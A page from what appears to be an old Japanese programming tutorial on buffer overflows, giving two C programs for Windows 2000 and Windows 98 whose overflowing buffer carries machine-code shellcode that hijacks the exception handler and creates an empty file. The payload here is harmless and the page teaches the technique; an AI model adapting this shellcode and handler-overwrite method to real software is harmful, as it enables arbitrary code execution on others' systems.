分かりやす〜い
コンピュータ技術情報

TOPに戻る
▼Processor
バッファオーバーフロー
┣ 異常な動作
┣ 本当に怖い事
┣ プログラムを作る
┣ バッファオーバーフロ
┃ ーを発生させる

┣ スタック領域の構成
┣ 何故強制終了されるの
┃ か?

┣ 強制終了されないよう
┃ に作り変える

┣ 任意のコードを実行す
┃ る

┣ of1.cとof2.cとの違い
┣ 例外
┣ 例外ハンドラの行う事
┣ of3.cを作る
┣ of1.cとof3.cとの違い
┣ of3.exeの例外ハンド
┃ ラ

┣ of3.exeを強制終了す
┃ るのは?

┣ 例外ハンドラの特徴
┣ Blue Screen
┣ BufferOverFlow応用
┃ プログラム

┗ 機械語の説明

Copyright(C) 2001-2003.ugpop. All rights reserved.




■デジタル用語辞典:
■ BufferOverFlow応用プログラム ■

前回はバッファオーバーフローを利用して任意のコードを実行
してしまうプログラムを作成しました。

前回のプログラムはWindows98上で動作する物ですが、今回は
Windows2000上で動作するプログラムを作成します。

それでは早速ですが"of3.c"をコピー&貼り付けして新しく出
来たファイルを"of5-2000.c"というファイル名に変更しておき
ましょう。

今回は"of5-2000.c"に変更を加えていきます。
以下に変更後の"of5-2000.c"を示します。
変更部分にはコメントを付けておきます。


─●↓"of5-2000.c"ここから───────────────
#include <stdio.h>
#include <string.h>
void main(void);

void main()
{
  unsigned char* i;
  unsigned char b[]= { 0x10, 0x11, 0x12, 0x13,
             0x14, 0x15, 0x16, 0x17,
             0x18, 0x19, 0x1a, 0x1b,
             0x1c, 0x1d, 0x1e, 0x1f,
             0xff, 0xff, 0xff, 0xff,

             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
// ●↓ここから変更
             0xeb, 0x29, 0x90, 0x90,
             0xd0, 0x49, 0xe5, 0x77,

             0x5B, 0x33, 0xC0, 0x50,
             0x6A, 0x01, 0x6A, 0x02,
             0x50, 0x6A, 0x01, 0x83,
             0xC0, 0x01, 0xC1, 0xE0,
             0x1F, 0x50, 0x53, 0xB8,
             0x8D, 0x2B, 0xE6, 0x77,
             0xFF, 0xD0, 0x6A, 0x01,
             0xB8, 0xA1, 0xD6, 0xF8,
             0xBF, 0xFF, 0xE0, 0xE8,
             0xD8, 0xFF, 0xFF, 0xFF,
             0x4F, 0x76, 0x65, 0x72,
             0x46, 0x6C, 0x6F, 0x77,
             0x2E, 0x43, 0x61, 0x6C,
             0x6C, 0x00,
// ●↑ここまで変更
          };
  unsigned char a[]= { 0x0, 0x1, 0x2, 0x3,
             0x4, 0x5, 0x6, 0x7,
          };

  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
  // バッファbをバッファaにコピーする。
  strncpy((char*)a, (char*)b, sizeof(b));
  printf("copy end\n");
  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
}
─●↑"of5-2000.c"ここまで───────────────


前回と同様、たった1箇所変更しただけです。
バッファbの中にいろいろと数値を追加しました。

// ●↓ここから変更
             0xeb, 0x29, 0x90, 0x90,
             0xd0, 0x49, 0xe5, 0x77,

             0x5B, 0x33, 0xC0, 0x50,
             0x6A, 0x01, 0x6A, 0x02,
             0x50, 0x6A, 0x01, 0x83,
             0xC0, 0x01, 0xC1, 0xE0,
             0x1F, 0x50, 0x53, 0xB8,
             0x8D, 0x2B, 0xE6, 0x77,
             0xFF, 0xD0, 0x6A, 0x01,
             0xB8, 0xA1, 0xD6, 0xF8,
             0xBF, 0xFF, 0xE0, 0xE8,
             0xD8, 0xFF, 0xFF, 0xFF,
             0x4F, 0x76, 0x65, 0x72,
             0x46, 0x6C, 0x6F, 0x77,
             0x2E, 0x43, 0x61, 0x6C,
             0x6C, 0x00,
// ●↑ここまで変更


中身については後で説明するとして、とりあえずビルドして実
行させてみましょう。

sc of5-2000.c -j

これで"of5-2000.exe"という実行形式ファイルが出来ます。

"of5-2000.c"では、バッファbをバッファaにコピーするだけ
のプログラムである事を覚えておきましょう。

それでは実行させてみて下さい。

【注意】
┌────────────────────────────┐
│このプログラムにはわざとバグを仕込んであります。    │
│実行するにあたっては必ず自己責任において実行させるように│
│してください。                     │
│                            │
│実行結果においては著者は一切の責任を負いませんので、予め│
│御了承下さい。                     │
│                            │
│尚、このプログラムは Windows2000上で動作するように作られ│
│ていますが、 Windows2000上であれば必ず動作するという事を│
│保証するものではありません。              │
│1部意図した様に動作しない場合もあると思いますが、あわせ│
│て御了承下さい。                    │
└────────────────────────────┘


実行結果はどうなったでしょうか。

一見何の変化もないように見えますが、"of5-2000.exe"のファ
イルがあるフォルダをエクスプローラで開いて見てください。

"OverFlow.Call"という中身が空のファイルが出来ていると思
います。

プログラムの実行コード部分にはバッファbをバッファaにコ
ピーするだけのコードしかありません。

しかしこれにより、以下の様な動作が行われます。


 バッファbをバッファaにコピー
        ↓
  バッファオーバーフロー発生
        ↓
    例外ハンドラ動作開始
        ↓
例外ハンドラが「call ebx」へ制御を移行
        ↓
    「call ebx」実行
        ↓
   スタック領域へ制御を移行
        ↓
  スタック領域上のコードを実行


最後に「スタック領域上のコードを実行」とあります。

先ほど示したスタック領域上の変更部分には、"OverFlow.Call"
というファイルを作成する為の機械語コードが埋め込まれてい
たので、これにより新たにファイルが作成されたというわけで
す。


ここまで読んで、Windows98ユーザーの方も同じ事を行いたい
と思った方もいらっしゃるかもしれません。

以下にWindows98上で同じ事を行うプログラムを示します。


─●↓"of5-98.c"ここから────────────────
#include <stdio.h>
#include <string.h>
void main(void);

void main()
{
  unsigned char* i;
  unsigned char b[]= { 0x10, 0x11, 0x12, 0x13,
             0x14, 0x15, 0x16, 0x17,
             0x18, 0x19, 0x1a, 0x1b,
             0x1c, 0x1d, 0x1e, 0x1f,
             0xff, 0xff, 0xff, 0xff,

             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xeb, 0x2b, 0x90, 0x90,
             0x0c, 0x67, 0xf2, 0xbf,
// ●↓ここから変更
             0x5B, 0x33, 0xC0, 0x50,
             0xB0, 0x80, 0x50, 0x6A,

             0x01, 0x33, 0xC0, 0x50,
             0x50, 0x83, 0xC0, 0x01,
             0xC1, 0xE0, 0x1F, 0x50,
             0x53, 0xB8, 0x5B, 0x7B,
             0xF7, 0xBF, 0xFF, 0xD0,
             0x6A, 0x01, 0xB8, 0xA1,
             0xD6, 0xF8, 0xBF, 0xFF,
             0xE0, 0xE8, 0xD6, 0xFF,
             0xFF, 0xFF, 0x4F, 0x76,
             0x65, 0x72, 0x46, 0x6C,
             0x6F, 0x77, 0x2E, 0x43,
             0x61, 0x6C, 0x6C, 0x00,
// ●↑ここまで変更
          };
  unsigned char a[]= { 0x0, 0x1, 0x2, 0x3,
             0x4, 0x5, 0x6, 0x7,
          };

  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
  // バッファbをバッファaにコピーする。
  strncpy((char*)a, (char*)b, sizeof(b));
  printf("copy end\n");
  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
}
─●↑"of5-98.c"ここまで────────────────


Windows2000上で動作するプログラムと若干バッファbの中身
が異なります。(バッファb以外は全く同じです。)

これはWindows2000とWindows98とのAPI(Application Program-
ming Interface)の違いによるものです。

APIというのは、アプリケーションソフトウェアがOSやミドル
ウェア等の機能を呼出す為に用意されているインタフェースの
事です。

マイクロソフトの「DirectX」がAPIの1種と説明すると多少分
かりやすいでしょうか。

実はバッファbの中で「ファイルを作成しなさい」というAPI
を呼出しているのですが、このAPIはWindows2000とWindows98
とで若干呼出し方が異なるのです。

次回はバッファbの中身、機械語コードについて簡単に説明し
たいと思います。

しかし、既にこの講座がかなり難解&長い、と思われている方
も多いと思いますので、アセンブリコードを示すだけに留めた
いと思います。

そしてここまで読まれた方の中で、WindowsXPは?と思われた
方もいらっしゃると思います。

次回はこれらについても説明しようと思います。



▲このページの上へ

▲このページの上へ

▲このページの上へ

←前に戻る    ▲このページの上へ    続きを読む→

▲このページの上へ